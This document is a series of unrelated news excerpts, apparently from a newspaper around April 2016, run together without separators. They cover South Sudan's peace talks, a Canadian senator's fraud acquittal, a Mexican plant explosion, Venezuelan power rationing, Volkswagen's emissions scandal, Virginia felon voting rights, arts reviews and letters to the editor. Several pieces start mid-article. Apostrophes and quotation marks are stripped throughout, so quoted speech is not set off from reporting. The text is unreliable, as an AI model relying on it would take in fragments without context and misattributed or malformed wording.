But the mayor largely steered clear of issues the task force had raised about police union contracts. The task force found that some provisions in those contracts provided too much protection to officers who committed misconduct. Dean Angelo Sr., the president of the union that represents rank-and-file officers, said Thursday that the report was not fair at all and that he did not understand why Mr. Emanuel was carrying out task force recommendations while the Justice Department was still investigating. Mr. Angelo said that his members were frustrated and angry with what he considered finger-pointing, and that claims that officers were racist were especially unfair.
GAMBELLA, Ethiopia  A long-awaited peace deal to end the civil war in South Sudan that has killed tens of thousands is being imperiled again, this time mainly by squabbles over how many weapons and soldiers the opposition can bring with it to the capital.

The opposition leader, Riek Machar, was scheduled to fly to the capital, Juba, on Monday this week to be reinstated as vice president and form a transitional government with his rival, President Salva Kiir. His return is seen as crucial to ending the war that has torn apart the young country.

Although both sides continue to promise to adhere to the peace process that began with direct talks in January 2014, analysts say the delays this week make clear how difficult the attempts to end the war remain.

South Sudan won its independence from its northern neighbor, Sudan, with a referendum in 2011 and amid much jubilation.
OTTAWA  After a politically charged trial, a Conservative member of Canadas Senate was vindicated on Thursday of 31 charges of fraud, breach of trust and bribery. Among other things, the senator, Mike Duffy, had been accused of improperly using Senate expense money to travel to a dog show to discuss Kerry Blue Terrier puppies.

The case against Mr. Duffy, a former television reporter, attracted a high degree of news media attention and fueled criticism of the Senate, whose members are appointed and which has long been one of the countrys least admired institutions.

This was a resounding not guilty, Donald Bayne, Mr. Duffys lawyer, said outside court. He added that Mr. Duffy had endured more public humiliation than probably any Canadian in history.

By international standards, the amount of money involved was less than dazzling.

At the center of the case was a charge that Mr. Duffy had solicited a bribe from Nigel Wright, the wealthy chief of staff to Stephen Harper, the former prime minister. Mr. Duffy owed more than $70,000 for expenses that had been ruled improper, and, in 2013, Mr. Wright covered the amount from his personal funds.
MEXICO CITY  An explosion killed at least 13 people and injured dozens at a petrochemical plant on Mexicos southern gulf coast, forcing evacuations and sending a toxin-filled cloud into the air, officials said on Thursday. Eighteen workers were reported missing.

The head of Mexicos civil defense agency, Luis Felipe Puente, wrote on his Twitter account that emergency personnel had been able to enter the burned-out plant and found 10 bodies. Three other workers had been reported dead immediately after the blast Wednesday afternoon.

Jose Antonio Gonzalez Anaya, the director of the state oil company Petroleos Mexicanos, or Pemex, said family members had reported that 18 workers at the plant were still missing. One area of the plant was still too hot to enter, and Mr. Gonzalez Anaya said the death toll could rise.

Pemex said 136 workers were injured in the blast in the industrial port city of Coatzacoalcos. Twenty-four of the injured remained hospitalized.
RIO DE JANEIRO  One recent poll found that only 2 percent of Brazilians would vote for him. He is under scrutiny over testimony linking him to a colossal graft scandal. And a high court justice ruled that Congress should consider impeachment proceedings against him.

Michel Temer, Brazils vice president, is preparing to take the helm of Brazil next month if the Senate decides to put President Dilma Rousseff on trial. A simple majority would suspend her for six months while she battles claims that she illegally covered budget shortfalls with money from state banks.

That would leave Mr. Temer in charge of Latin Americas biggest country as it grapples with its worst economic crisis in decades, a Zika epidemic, seething political discord and the 2016 Summer Olympics  all at the same time.

I dont want it to seem like Im conspiring to take over, Mr. Temer said in an interview on Thursday, insisting that he was not plotting a coup, as Ms. Rousseff has called the campaign to oust her.
CARACAS, Venezuela  Venezuelas government says it will turn off electricity nationwide for four hours each day, formalizing the blackouts that people have already been experiencing during a worsening energy crisis.

The electricity minister, Luis Motta, said on Thursday that the rationing will start next week, and he called on Venezuelans to buckle down and show their patriotism. He said the rolling blackouts would last for 40 days or until water levels stabilize at the Guri Dam, which provides most of the South American countrys electricity.

The daily power cut is just the latest in a long list of energy-saving measures announced in recent weeks.

President Nicolas Maduro has also given public workers Fridays off, declared new national holidays and said he would shift the countrys time zone to ease the crisis. He has also suggested that women stop blow-drying their hair and that everyone stop ironing their clothes.
The financial obstacles are bad news for Irans moderate president, Hassan Rouhani, who ran for office on promises of an economic revival fueled by the nuclear deal and the lifting of sanctions. Hard-liners have pointed to the financial complications as evidence that the United States can never be trusted, and that Mr. Rouhani has been deceived into making unreciprocated concessions.

Indeed, American officials have discounted talk of an Iranian windfall. On Monday, Secretary of State John Kerry told the Jewish lobbying group J Street in Washington that Iran had so far received only $3 billion after the nuclear deal, far less than what some Republican critics of the deal claimed were $150 billion in frozen assets. We thought it would be $55 billion, but guess what, Mr. Kerry said, holding up three fingers.

United States officials say  and most European experts agree  that it is not only the sanctions that are blocking Irans access to the American financial system but also Irans failure during its years of isolation to update laws governing money laundering and prohibitions against the financing of terrorism.

European oil companies, whose capital and expertise Iran desperately needs to revitalize its flagging oil industry, are not making any deals until the Treasury provides clarity over the use of dollars for sales of Iranian oil, diplomats and industry insiders say.

The European Unions foreign policy chief, Federica Mogherini, flew to Tehran last week to try to convince Iranian officials that the bloc is doing all it can to reassure major European financial institutions that it is safe to work with Iran.

But European banks will still have to contend with American regulatory requirements. According to a financial disclosure law, all banks worldwide have to disclose whether their customers are American citizens, to prevent tax evasion. If they fail to do so the banks assets can be seized.

Several million people hold dual Iranian and American citizenship. Because the Iranian government is reluctant to allow information about its citizens to be shared with the United States, experts say, it is unlikely that it will comply with the act  another complication for European banks.
BETHLEHEM, West Bank  Israeli officials named on Thursday the Palestinian who they say carried out a bus bombing in Jerusalem on Monday that rattled a country on edge after months of violence.

Even as the Israeli domestic intelligence agency identified Abdul-Hamid Abu Srour, 19, his family praised him for the act, and relatives distributed posters of the clean-shaven young man, praising him as a hero.

The bombing, in which nuts and bolts were packed into an explosive device, wounded more than a dozen people, including Mr. Abu Srour, who died of his injuries in an Israeli hospital on Wednesday, said his parents. One girl, 15, was badly burned.

The shattered, charred frame of the bus, the wailing sirens and the television interviews with survivors revived for many Israelis the memory of the second Palestinian uprising that erupted in 2000. Then, suicide bombers blew up buses in Jerusalem and other Israeli cities, killing scores. Attacks on buses have been rare in recent years.
BRUSSELS  This staid capital of Europe suddenly has its own mini-equivalent of Frieze week in London. The addition of Independent, the highly regarded New York fair, to the citys perennial discovery event, Art Brussels, could potentially turn Belgium in April into a serious destination for collectors of contemporary art.

With the art trade facing challenging times  as are all luxury businesses that rely on international clients  and given the recent attacks in Brussels and Paris, it would seem to be a less than ideal moment for Brussels to crank up its reputation as a city for discovering and acquiring innovative new art.

The inaugural European edition of Independent offered a preview on Wednesday, 72 galleries showing in a stylish, partition-free space in a disused 1930s department store near the Grand Place.

That evening, more than 20 local dealers kept their doors open late for Art Brussels Gallery Night, with free shuttle service available. And on Thursday, Poppositions, an experimental fair now in its fifth year, offered 25 international projects.
A huge installation planned to take over 23 Wall Street, the onetime headquarters of J.P. Morgan and Co., has been canceled after months of struggles with funding.

The cost of following through at 23 Wall Street is too high and time is too short, wrote Simon Birch, the primary artist and organizer of the show, called The 14th Factory, in a note to his team and advisory board. And our investors have explained, given these facts, they will not support us. This process has taken a toll on me and I need to step back and regroup.

A spokeswoman for the project said Mr. Birch was headed to London for medical purposes.

The Hong Kong-based artist had initially raised $3 million for the show, which was to open on May 16, including $1 million of his own money. (All art was to be donated and auctioned off after the show, with proceeds going to charity.)

Unable to raise additional funds in New York, Mr. Birch turned to investors in Hong Kong and was able to raise an additional $1.8 million. But that apparently was not enough, despite a postponement and setting an abbreviated run. Getting the show in before the summer was an issue since the Wall Street space, which sprawls over 150,000 square feet, is not air-conditioned.
In the Easter Rising of 1916, a group of Irish revolutionaries went up against overwhelmingly superior British forces and met with total defeat (though they helped set a course for eventual independence). In the three-night mini-series Rebellion, serious historical drama goes up against tedious soap opera, and the battle ends in more or less of a stalemate.

The show, which begins Sunday on SundanceTV, was produced by the Irish network RTE to mark the 100th anniversary of the rising, the six-day insurrection against British rule thats perhaps best known to Americans through the Yeats poem Easter, 1916. (The one that ends a terrible beauty is born.)

More knowledgeable observers can judge the shows historical accuracy. To this casual viewers eye, no undue attempt is made to romanticize the Irish nationalists. Theyre a brave but poorly organized, ragtag bunch whose efforts have an amateur-theatrical quality. Some of the Dubliners whose freedom theyre fighting for take advantage of the chaos to merrily loot and vandalize. Irish religious and civic leaders refuse to get involved.
No ones list of Television Outlets Most Likely to Surprise Us includes CNN, but on Sunday the network ventures into attention-getting territory with United Shades of America, in which a black comedian, W. Kamau Bell, explores places and subjects that are out of his comfort zone. The first stop is a doozy: Ku Klux Klan country.

Mr. Bell experimented with topicality in the late-night FXX talk show Totally Biased With W. Kamau Bell, and here he goes head-on into the business of tongue-in-cheek reportage. In the premiere, he arranges chats with Klansmen in both Kentucky and Arkansas.

Learning about America means sometimes reaching across the aisle, he says in introducing the episode, and this week Im reaching way across the aisle to the Ku Klux Klan. Hopefully when Im done reaching, I still have my hand.

Its bizarre just how forthright the Klansmen he chats with are in sharing their views. On the subject of racial purity and white superiority, a man in a blue hood tells him to his face: You dont take a champion racehorse and mate it to a mule, because the offspring is no longer champion; it is mongrelized. You are dumbing down your children.
Volkswagen said it was acting on the advice of its lawyers. A disclosure would significantly impair Volkswagens cooperation with the Department of Justice and weaken Volkswagens position in any remaining proceedings, the company said in a statement.

Volkswagen has admitted that its employees programmed 11 million cars so that pollution controls operated at full capacity only when the vehicles were being tested. But seven months after the illegal emissions manipulation came to light, the company has not clarified who was responsible for the wrongdoing and whether top managers were involved.

The law firm Jones Day has been poring through documents and computer files and interviewing employees, but it has not issued its conclusions. The law firm declined to comment.

Volkswagens financial disclosure on Friday, in a preliminary earnings report, came a day after the company agreed on the outlines of a plan to settle some legal claims in the United States, which would include giving owners of about 500,000 affected vehicles the option of selling the cars back to the company or having them repaired.

Volkswagen is still negotiating the size of the fines it will pay to the United States government for violations of clean-air laws, as well as how much additional compensation it will provide to owners. The money set aside by the company on Friday provides an indication of what Volkswagen expects the total global costs of the scandal to be, although the figure could rise further.

Volkswagen had delayed reporting its annual earnings because of uncertainty about the size of the financial damage.
Al Jazeera America may have shut down last week but that has not protected the network from further unwelcome news.

The networks executive vice president of finance, Anand Gupta, filed a lawsuit on Thursday in Federal District Court in Manhattan asserting that he had not been given a promised promotion and salary raise because of racial discrimination.

In the suit, Mr. Gupta also laid out specific details about how much the network suffered financially in its brief existence. In the networks first year on the air in 2013, the suit asserts, citing tax returns, it had a net operating loss of $250 million, and in 2014 it lost an additional $335 million.

Mr. Gupta, who is Indian, said Al Jazeera Americas chief executive, Al Anstey, had reneged on a promise made by his predecessor, Ehab Al Shihabi, that would have elevated Mr. Gupta to the position of chief financial officer.
SAUDI ARABIA is dismayed by President Obamas Middle East policy. Its leaders feel that he does not play by the rules that have governed the Saudi-American alliance for decades: The United States provides security guarantees in return for the Persian Gulf states reliable stewardship of their oil reserves and support for American regional dominance.

In the Saudis view, Mr. Obama has betrayed their interests, often in favor of their enemy, Iran. Having concluded that the United States is no longer a reliable ally, they've decided they must go it alone as a regional power, while also strengthening the countrys domestic economy. In both instances, though, the kingdom is overplaying its hand. The Saudis cant, in reality, stand up to Iran, nor can their domestic reform agenda deliver, especially if the country remains embroiled in regional conflicts. Failure on both fronts could drag the United States back into the region militarily.

A token of Saudi resentment was on display last week when Mr. Obama was received by the governor of Riyadh rather than by the king  a rare snub for a sitting American president. As the visit concluded, American officials asserted that the meeting had cleared the air, but the signs of a rift that predates the Obama presidency were fully apparent.

The relationship has been rocky since the Sept. 11, 2001, attacks, when it became clear that 15 of the plane hijackers were Saudi citizens. Mr. Obamas visit coincided with controversy over a bill before Congress that would enable victims of the attacks to sue the Saudi government  a vivid reminder of the long-running tensions. (The Saudis have threatened economic reprisals if the bill passes, even though the White House has said the president would veto it.)
To the Editor:

Re Penalize Companies That Export Jobs (Op-Ed, April 11):

Michael Riordans suggestion for serious penalties for corporations that export well-paid jobs is important but not sufficient to retain American jobs.

Since the 1970s, American companies have been chasing lower-wage workers abroad to remain competitive. There is a need to find ways to incentivize them instead: a reduction in overhead by reducing material costs, better use of technologies, and redesigned work systems to improve production methods.

Restructuring companies through the use of problem-solving teams that include front-line staff (and unions when present) can result in reducing their overall costs of operation by 25 to 35 percent.

New York State, under Gov. Mario M. Cuomo, used financial incentives in the late 80s and into the 90s to help companies provide time for their employees to improve production processes, resulting in impressive job savings.
To the Editor:

A Call to Foster Mental Health Across the Globe (news article, April 13) comes at a time when a full-blown campaign is necessary. Violence, climate change, poverty, forced migration and infectious disease are claiming countless lives, and the ones who witness and survive, their mental health.

The World Health Organization has projected that depression will be the No. 2 cause of disability by 2020.

Although the focus of the recent World Bank and the World Health Organization meeting was economic, it is relevant to note that access to mental health care will save billions of dollars and lives.

For each person who suffers from a mental illness, each family and each community suffer as well.

The global community should learn the early warning signs of diminished mental health and the steps needed to protect the individual.
To the Editor:

Why Americans Cant Vote (editorial, April 17) lays bare the problems for many potential voters across the country. Action is clearly needed on the federal level to reinstate and strengthen the Voting Rights Act, eliminate discriminatory ID laws and mandate improvements like automatic registration for citizens who apply for programs run by federal agencies and online registration for national elections.

Unfortunately, under federalism much of election oversight has devolved to the states. Leaders like Gov. Andrew M. Cuomo have the opportunity and responsibility to do a better job pressing for reforms and ending disenfranchising statutes  like New Yorks inane rules for changing party enrollment. That process can have some voters waiting 22 months after changing their party to vote in a primary election.

The 1989 book Why Americans Dont Vote, by Frances Fox Piven, showed that historically many registration laws were designed as barriers to the ballot. In many ways, little has changed. The fact that Jim Crow is alive and well across the country cries out for action at the national and state level.

NEAL ROSENSTEIN

New York

The writer is government reform coordinator for the New York Public Interest Research Group.
Iraq, engaged in a brutal war against the Islamic State, faces myriad other problems, including a depleted treasury and a weakening dam in Mosul that if not repaired could flood a huge strip of territory and kill thousands. None of these problems can be effectively addressed given the failure of governance and societal cohesion that has now produced another political crisis.

On Tuesday Salim al-Jubouri, the Parliament speaker, suspended Parliament, days after lawmakers voted to remove him and elected an interim replacement. The turmoil centers on political corruption and fiscal mismanagement, which have become major issues since oil prices collapsed in 2014, sharply reducing the countrys main revenue source as Iraqs military battles ISIS.

In February, under pressure from the Shiite clergy and with support from America and Iran, Prime Minister Haider al-Abadi proposed a cabinet overhaul that would remove appointees with political and sectarian connections and replace them with presumably less corruptible nonpolitical technocrats.

After the list of technocrats was announced on March 31, Shiite political blocs, which dominate the government and fear the loss of patronage and influence, pushed back and forced Mr. Abadi to include more of their allies. Moktada al-Sadr, a radical Shiite Muslim cleric who once fought American troops and has refashioned himself as an anti-corruption reformer, is using the threat of street protests to demand more representation for technocrats and Mr. Abadis resignation. Parliament has postponed action on Mr. Abadis cabinet overhaul three times and this has led to moves to oust Mr. Jubouri as well.
SEATTLE  Microsoft and Google agreed on Friday to withdraw complaints against each other with regulators around the world, as the two American tech giants continued recent efforts to settle the once-bitter conflicts between them.

The two companies also said they would try to resolve future squabbles before complaining to regulators, as they have in the past.

Microsoft has agreed to withdraw its regulatory complaints against Google, reflecting our changing legal priorities, said Jennifer Crider, a Microsoft spokeswoman. We will continue to focus on competing vigorously for business and for customers.

In recent years, Microsoft battled on many fronts to draw greater scrutiny of Googles dominance in Internet search, including complaining to European regulators that Google used its position to stymie search competition.
The body is barely there, more phantasm than person, and at first you might mistake it for a shadow. When the astonishing Irish actress Aoife Duffin makes her entrance in A Girl Is a Half-Formed Thing, drifting through a corridor of gray light, her features are indistinguishable. And though she soon starts to speak, the words that she says also seem curiously inchoate.

For you, she says, falteringly, in a voice pitched between a quack and a chirp. Youll soon. Youll give her name. In the stitches of her skin shell wear your say.

Come again? Whos you, anyway?

Keep listening, and keep looking. Little by little, the speaker and her speech assume concrete and coherent form. Suddenly, youre thinking in the language of someone elses mind, that of a rebellious Irish girl scrambling for a sense of her drifting self. And by the end of a timeless 80 minutes, youll have grasped the dimensions of an entire individual life, in all its confused clarity.

This uncanny act of materialization, which runs through April 30 at the Jerome Robbins Theater of the Baryshnikov Arts Center, is the more remarkable in that it is also an improbable act of translation, from what would seem to be uncompromisingly literary material. Adapted for the stage by Annie Ryan (also its director), A Girl Is a Half-Formed Thing is based on the much-laureled first novel of Eimear McBride, a book that was rejected repeatedly by publishers and consigned to a desk drawer for a decade before seeing the light of print.
Hillary Clinton and Bernie Sanders have a new issue to disagree about: the wisdom of a soda tax.

A tax on sugary soft drinks, like the one proposed in Philadelphia and endorsed by Mrs. Clinton last week, divides the left. It can be seen as achieving an admirable public health goal of less sugar consumption or as a very regressive tax that falls more on the poor than the rich, since the poor tend to drink more soda.

While not the biggest issue the two candidates have tussled over, it is one that may reverberate across the country in coming years as more cities and states use the tax to raise revenue or improve citizens health.

Last week, Mrs. Clinton became the first presidential candidate to explicitly endorse a tax on sugary drinks. At a Philadelphia event Wednesday, she said a proposal there to use a soda tax to fund universal prekindergarten was a good idea.

It starts early with working with families, working with kids, building up community resources, Mrs. Clinton said, according to a CNN report. Im very supportive of the mayors proposal to tax soda to get universal preschool for kids. I mean, we need universal preschool. And if thats a way to do it, thats how we should do it.
It was a time, therefore, when one would expect ex-felons to have been particularly likely to register to vote, either as a result of mobilization efforts or because of the prospect of supporting the first black president.

The ex-felons were indeed overwhelmingly likely to register as Democrats. In North Carolina, they registered as Democrats by 55 percent to 10 percent. The tallies were similar in two other states where the study was conducted: New Mexico, at 52 percent to 19 percent for Democrats, and New York, at 62 to 9.

Yet in the end, just 33 percent of these newly eligible voters registered for the 2008 election in North Carolina, and just 21 percent voted. The registration and turnout rate in New Mexico and New York were far lower, with 13 percent turnout in New Mexico and 8 percent turnout in New York (for 2012; that study counted discharges from 2008 to 2012).

So what does that mean for Virginia? Imagine, for a moment, that the same figures for North Carolina played out in Virginia: 21 percent of the 200,000 re-enfranchised ex-felons turn out, and they vote Democratic by an 85-to-15 margin. The result would expand the Democratic vote margin by 29,400 votes. In the 2012 election, that would have increased Mr. Obamas margin of victory to 4.6 percentage points from 3.9.

Again, this represents something of a best-case scenario for Democrats. The turnout rate among newly registered ex-felons was high: 69 percent among active registered voters.

The Obama campaigns effort in North Carolina was aided by the states voter file, which includes the race of registered voters. That allowed the Obama campaign to aggressively target newly registered black voters ahead of the election. The campaign of the Democratic nominee wont have that advantage in Virginia, where race is not listed in the voter registration file. This is not a small matter.
So as Ms. Edwards was greeting voters Tuesday night, Mr. Van Hollen was at a restaurant across town, mingling with an enthusiastic, and racially mixed, group of supporters over a dinner of chicken and mashed potatoes. Older black women cooed over him. His host, a Baltimore County councilwoman, Cathy Bevins, who is white, said she had just sent Emilys List a nasty little email, telling them, Take me off your list. 

The congressman, doing his best to avoid race and gender questions, reminded the crowd that he has Baltimore ties (his father grew up here) and of his attention to constituent service. He stiffened slightly when asked if the Senate needs a black womans voice.

Those who endorsed him, he said, can speak for themselves: They want somebody with a track record of delivering real results.

There has not been a black woman in the Senate since Carol Moseley Braun, the nations first and only black female senator, left in 1999. In California, Emilys List is also backing Kamala Harris, who is black and Asian-American, for a Senate seat this year. Here in Maryland, a Monmouth University poll released on Thursday showed Mr. Van Hollen pulling ahead in what has been a tight race with voters, especially women, and starkly divided along racial lines.

This is the state that Harriet Tubman ran away from twice and Frederick Douglass ran away from at least once, and weve never had a black woman elected statewide, said Benjamin Jealous, the former president and chief executive of the N.A.A.C.P., who supports Ms. Edwards, though he insisted it was for policy reasons, not her race.

Maryland, a heavily Democratic state, is no stranger to rough primary campaigns, especially when there is a rare open seat. Ms. Mikulski, a gruff former social worker from East Baltimore, ran one herself 30 years ago. Then a congresswoman, she reached the Senate by beating a seasoned colleague, Michael D. Barnes, and a sitting governor, Harry Hughes, with the help of a new group: Emilys List.
A 16-year-old girl died after a fight with other students in a high school restroom in Delaware, spurring an outpouring of grief and soul-searching on social media on Thursday.

The victim, a 10th grader from New Castle, Del., who attended the Howard High School of Technology in Wilmington, was in a girls restroom on the main floor about 8:15 a.m., just as classes began, the school said in a statement.

A few female students were involved in a physical altercation, and the victim was seriously hurt, the school said. She was taken by helicopter to Nemours/Alfred I. duPont Hospital for Children, where she died. No weapons were involved in the fight, officials said.
Only two states, Maine and Vermont, have no voting restrictions on felons; Virginia is among four  the others are Kentucky, Florida and Iowa  that have the harshest restrictions.

Fridays shift in Virginia is part of a national trend toward restoring voter rights to felons, based in part on the hope that it will aid former prisoners re-entry into society. Over the last two decades about 20 states have acted to ease their restrictions, according to the Brennan Center for Justice at New York University.

In Kentucky, Mr. Bevin, who took office in November, promptly overturned an executive order issued by his predecessor, Steven L. Beshear, just before he left office. Then, last week, Mr. Bevin signed into law a less expansive measure, allowing felons to petition judges to vacate their convictions, which would enable them to vote.

Previous governors in Florida and Iowa took executive action to ease their lifetime bans, but in each case, a subsequent governor restored the tough rules.

Marc Mauer, executive director of the Sentencing Project, said Mr. McAuliffes decision would have lasting consequences because it will remain in effect at least until January 2018, when the governor leaves office.

This will be the single most significant action on disenfranchisement that weve ever seen from a governor, Mr. Mauer said, and its noteworthy that its coming in the middle of this term, not the day before he leaves office. So there may be some political heat but clearly hes willing to take that on, which is quite admirable.

Myrna Perez, director of a voting rights project at the Brennan Center, said Mr. McAuliffes move was particularly important because Virginia has had such restrictive laws on voting by felons. Still, she said,Compared to the rest of the country, this is a very middle of the road policy.
President Obama said Friday that new laws in North Carolina and Mississippi curbing the rights of gay and transgender people were wrong and should be overturned, weighing in on measures that have prompted a backlash, including calls to boycott the states.

Mr. Obama was asked about the laws at a news conference in London with Prime Minister David Cameron, after the United Kingdoms Foreign Office advised travelers to those states about limitations the laws might impose.

They are beautiful states, and you are welcome and you should come and enjoy yourselves, Mr. Obama said. And I think youll be treated with extraordinary hospitality.

The laws are partly politically motivated, he said, and partly in response to some strong emotions that are generated by people, some of whom are good people.
BIG BEND NATIONAL PARK, Tex.  There are places in the desert canyons of far West Texas where the border between the United States and Mexico amounts to an olive-green ribbon of water, so shallow that canoes scrape to a halt on the rocks. Here the Rio Grande  the border that has separated the two countries since 1848, with the signing of the Treaty of Guadalupe Hidalgo  narrows to a pinch. At times it is as wide as a school bus is long. At other times it is not even that wide. An owl can make the crossing with one or two flaps of its wings.

In these remote places in Big Bend National Park, the Rio Grande seems void of any power to divide. There are no boundary lines, no signs, no walls, no border agents on either side. To journey here to the vast, empty canyons of West Texas is to watch the border itself all but vanish as a physical and political space, an extraordinary feat in these times when the notion of the border often seems more a political construct than a geographic one.
GAMBELLA, Ethiopia  After four days of delays, a deal has been reached to allow South Sudans opposition leader, former Vice President Riek Machar, to fly to the capital and be reinstated as deputy to President Salva Kiir.

Mr. Machars arrival is considered a major step toward carrying out a peace deal agreed to last year that calls for the formation of a transitional government in South Sudan, where more than two years of civil war have killed tens of thousands of people and displaced over two million more.

Mr. Machar was originally scheduled to travel on Monday, but disagreements over the number of soldiers and types of weapons that he would be allowed to take to the capital, Juba, caused delays, raising fears that the whole peace deal could collapse.

But on Friday, both sides agreed to a compromise brokered by an international commission that is overseeing the transition.
BAMAKO, Mali  Officials in Mali said on Friday that they had arrested a member of a group linked to Al Qaeda that has claimed responsibility for attacks that killed dozens in Mali, Burkina Faso and Ivory Coast.

The suspect, Fawaz Ould Ahmed, was captured by members of the security and intelligence services in Bamako, the capital of Mali, on Thursday as he was preparing to carry out an attack, said a Security Ministry spokesman, Amadou Sangho.

We found him with grenades and a small suitcase containing weapons, Mr. Sangho said. He said Mr. Ould Ahmed was behind attacks on three hotels and a restaurant in Mali.

Mr. Sangho said Mr. Ould Ahmed was a member of Al Mourabitoun, a militant group allied with Al Qaeda in the Islamic Maghreb.
But for many Mexicans, the case represents something far greater than 43 people: It is a window onto the tens of thousands of others who have also disappeared during the nations decade-long drug war, and the anguish visited on their families. Caught between cartel violence and a government either unwilling or unable to help, they are victims twice.

The arrival of the international experts inspired hope and a shot at closure, if only vicariously, for those who suffer their losses quietly on the margins of Mexican society. In an exceptional gesture, Mexico was granting foreigners permission to conduct a true investigation. Now their departure is a bitter one.

This is something that will probably haunt us for a long time, said Francisco Cox, a Chilean human rights lawyer and another member of the group of experts. But it didnt make sense to stay here, because in a certain way its giving legitimacy to something deep inside you know isnt right.

Though the groups final report will be issued on Sunday morning, the case is far from solved. The remains of only one of the 43 has been found and identified; the rest are all still missing.

Another question is how high the collusion between the drug gangs and the government goes. Although the governments own investigation focused on the complicity of the local authorities, the expert panel uncovered evidence that state and federal officials and even military personnel were present on the night of the students disappearance.

It was clear in the governments investigation and the official account that there was an intention to keep this case at a municipal level, in terms of responsibility, said Carlos Beristain, another expert in the investigation. But we revealed the presence of state and federal agents at the crime scenes, and furthermore that their participation implied responsibility.
The Try Pheap Group did not respond to a list of emailed questions.

Sao Sopheap, a spokesman for the Environment Ministry, said the government was working with international conservation groups to eliminate illegal logging inside land concessions. But he added that land-reform measures, including a 2012 moratorium on new concessions, were not a response to pressure from activists.

Those activists concentrating on advocacy are probably not very helpful, Mr. Sopheap said in a telephone interview, without mentioning Mr. Leng. They probably are working on propelling their own interests.

Mr. Leng was born in 1975, just as the Khmer Rouge began a four-year reign of terror in Cambodia that left an estimated 1.7 million people dead. His family was forcibly relocated from Takeo Province, near Phnom Penh, to the northern province of Preah Vihear, on the border with Thailand.

In the early 1980s, the family survived by selling rattan it harvested in nearby forests and eating wild fish and game. I fell in love with the forest and the land because they were our only way to survive, Mr. Leng, who has a boyish face and speaks with a rapid-fire delivery, said during an interview at his home on the dusty outskirts of Phnom Penh.

After graduating from law school in 1997, Mr. Leng said, he worked for more than a decade as an investigator for two Cambodian human rights groups and later on a forest-mapping project funded by the United States Agency for International Development. But he said his work had often prevented him from doing what he was determined to do: aggressively fight illegal logging.

He began working independently about five years ago and has spent months posing as a cook or a logger and hanging out with company employees to gain access to forests and logging camps within timber concessions. His reports are based on his covert photos and videos, along with documents from local journalists, civil servants and other informers that he analyzes at his home office, he said.

A primary goal, he added, is to determine how the illegal logging that he witnesses is linked to the global timber supply chain and the Chinese, Vietnamese and Cambodian investors behind the logging projects.
The exiled Chinese writer Liao Yiwu, 57, is the son of schoolteachers in Sichuan Province who were persecuted during the Cultural Revolution. Mr. Liao left home at the age of 10, took a succession of jobs and eventually became involved in avant-garde poetry. In 1990, he was arrested after publicly reciting his poem Massacre in memory of the victims of the Tiananmen Square military crackdown on June 4, 1989, and spent four years in prison. After his release, he wrote several books under pseudonyms, all of which were banned in China but sold well on the underground market. His Interviews With People From the Bottom Rung of Society was published in Taiwan in 2001 and became his first book to appear in English, in 2008, as The Corpse Walker: Real Life Stories, China From the Bottom Up. A memoir of his prison years, For a Song and a Hundred Songs, was published in English in 2013.

Mr. Liao remained under close watch and travel restrictions, and the police regularly searched his apartment and confiscated his manuscripts. In 2011, he made his way to Vietnam and from there to political asylum in Germany.

Mr. Liao wrote the first draft of his coming novel, Love in the Time of Mao, in 1993, while he was still in prison, and he revised it over the years. It tells the story of Zhuang Zigui, who is 17 at the start of the Cultural Revolution in 1966. He becomes a Red Guard, is among the educated youths sent down to work in the countryside and eventually escapes to Tibet. In an interview, Mr. Liao discussed his familys experiences of those tumultuous years under Mao Zedong and how his novel, which is to be published later this year in Chinese and English, came about.

Q. What are your own memories of the Cultural Revolution?

A. When I was only 7 or 8 years old, I remember seeing my parents onstage at struggle sessions. One day, my elementary schoolteacher took us all to a struggle session where the last person to be dragged on stage turned out to be my mother. She was standing bent over at the waist with a big sign around her neck that said OPPORTUNIST.
HONG KONG  Forty-five fraud suspects from Taiwan who are suspected of cheating mainland Chinese by telephone from a base in Kenya have admitted guilt and will soon face trial, according to the Chinese police, the state news media reported on Friday.

The suspects were deported from Kenya to China this month, stirring concern in Taiwan that Beijing was using its international clout to control the fate of the accused.

Officials from Taiwan visited the Beijing detention center where the suspects were being held on Thursday, and they met with Chinese officials to discuss visitation rights and treatment of the detainees. Only some of the suspects have seen a lawyer, according to Xinhua, Chinas state-run news service.

Some of the suspects had been tried for fraud in Kenya and acquitted, while the others had not yet faced trial when they were deported. Because the victims of the purported telephone hoaxes were overwhelmingly from the mainland, Chinese officials demanded that the suspects be sent there, along with Chinese citizens also accused of involvement in the alleged fraud ring.
GENEVA  The United Nations human rights chief urged Thailands military rulers on Friday to curtail dangerously sweeping powers that are set to be enshrined under a draft constitution. He also criticized an escalating crackdown on public debate there, including the arrest of critics.

The United Nations high commissioner for human rights, Zeid Raad al-Hussein, noted in a statement that in addition to the broad powers proposed in the draft constitution, a series of orders announced on March 30 allow Thai officers to conduct searches, seize assets and detain suspects without warrants or judicial oversight. He called for the Thai military to, as a matter of priority, suspend the application of these dangerously sweeping laws and orders that have bestowed more powers on the military.

Mr. al-Husseins statement, released in advance of a referendum on the draft constitution scheduled for Aug. 7, joined mounting international concern that Thailand, once seen as a bastion of democracy in Southeast Asia, is sliding toward an increasingly authoritarian government under the military junta that seized power in May 2014.
BERLIN  The German government is negotiating with Jewish representatives to ensure that the thousands of poorest and weakest Holocaust survivors worldwide receive the intensive care they need to live out their final years at home.

The German Finance Ministry and the Conference on Jewish Material Claims Against Germany continue to hold regular talks but the effort to reach an agreement has taken on a new sense of urgency, because the youngest of those needing full-time care are already in their 80s  and many others are over 100 years old.

With an estimated 100,000 Holocaust victims living in the United States, roughly a fifth of survivors worldwide, their plight has raised concern in Congress, and on Thursday representatives introduced a resolution calling on the German government to do more.

Representatives Ted Deutch, a Democrat, and Ileana Ros-Lehtinen, a Republican, both from Florida, submitted the resolution to the House asking Germany to recognize the imperative of immediately and fully funding victims medical, mental health, and long-term care needs and to do so with full transparency and accountability to ensure all funds for Holocaust victims. A companion resolution was introduced in the Senate.
LONDON  Hours after President Obama landed in London to urge Britons to vote to remain in the European Union, Mayor Boris Johnson, arguably the most visible leader of the campaign for Britain to leave the bloc, hit back with an opinion essay that criticized the president but immediately raised hackles online.

The essay, published in the right-leaning tabloid The Sun on Friday morning, recycled a story about a bust of Winston Churchill that was removed from the Oval Office shortly after Mr. Obama took office in 2009. It also mentioned a theory, prominent among some right-wing Americans, that Mr. Obama is motivated by a radical anti-imperialist agenda and that the part-Kenyan presidents ancestral dislike of the British Empire motivated the removal of the bust.

